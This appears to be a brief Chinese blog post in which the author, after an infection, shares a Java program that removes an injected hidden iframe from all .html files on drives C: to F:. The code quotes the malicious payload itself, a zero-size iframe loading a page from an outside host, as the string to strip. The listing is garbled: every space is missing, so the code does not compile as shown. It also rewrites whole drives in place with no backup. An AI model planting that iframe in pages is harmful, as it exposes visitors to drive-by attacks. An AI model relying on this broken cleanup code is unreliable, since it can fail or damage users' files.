不知道什么时候中的招,很久没有写有关IO方面的代码, 今天顺便温习一下, 用Java 写段代码删掉它.
- publicclassFileUtils{
- publicstaticvoidmain(String[]args)throwsException{
- Stringcontent="<iframewidth='0'height='0'src='http://mmm.mmy88.cn/lx.htm'></iframe>";
- StringextName=".html";
- String[]dirs={"C:","D:","E:","F:"};
- for(inti=0;i<dirs.length;i++){
- Stringdir=dirs[i];
- longt1=System.currentTimeMillis();
- delContent(content,dir,extName);
- longtime=System.currentTimeMillis()-t1;
- System.out.printf("Processdirectory%sin%dseconds\n",dir,time/1000);
- }
- }
- /**
- *Delcontentinallthefiles(.extName)underthespecifieddirectory
- *
- *@paramextNamelike".html"
- */
- publicstaticvoiddelContent(Stringcontent,Stringdir,StringextName)throwsException{
- List<String>fileNames=listFileNames(dir,extName);
- //System.out.println("Modifying...");
- for(inti=0;i<fileNames.size();i++){
- StringfileName=fileNames.get(i);
- //System.out.printf("%5dModifyingfile:%s\n",i,fileName);
- //Read
- Filef=newFile(fileName);
- BufferedInputStreambin=newBufferedInputStream(newFileInputStream(f));
- byte[]buff=newbyte[((int)f.length())];
- bin.read(buff);
- bin.close();
- Stringstr=newString(buff,"utf-8");
- String[]all=str.split("\r\n");
- //Write
- OutputStreamfout=newFileOutputStream(f);
- for(intj=0;j<all.length;j++){
- all[j]=all[j].replaceAll(content,"");
- fout.write((all[j]+"\r\n").getBytes("utf-8"));
- }
- fout.flush();
- fout.close();
- }
- }
- /**
- *Listallfile(.extName)nameinthepath
- *
- *@paramextNamelike".html"
- */
- publicstaticList<String>listFileNames(finalStringpath,finalStringextName){
- List<String>fileNames=newArrayList<String>();
- FilenameFilterfilter=newFilenameFilter(){
- publicbooleanaccept(Filedir,Stringname){
- Filefile=newFile(dir,name);
- returnname.endsWith(extName)||file.isDirectory();
- }
- };
- Filedir=newFile(path);
- listFileNames(dir,filter,fileNames);
- returnfileNames;
- }
- privatestaticvoidlistFileNames(Filedir,FilenameFilterfilter,List<String>fileNames){
- String[]names=dir.list(filter);
- for(Strings:names){
- StringfileName=dir.getPath()+File.separator+s;
- Filefile=newFile(fileName);
- if(file.isDirectory())
- listFileNames(file,filter,fileNames);
- else
- fileNames.add(fileName);
- }
- }
- }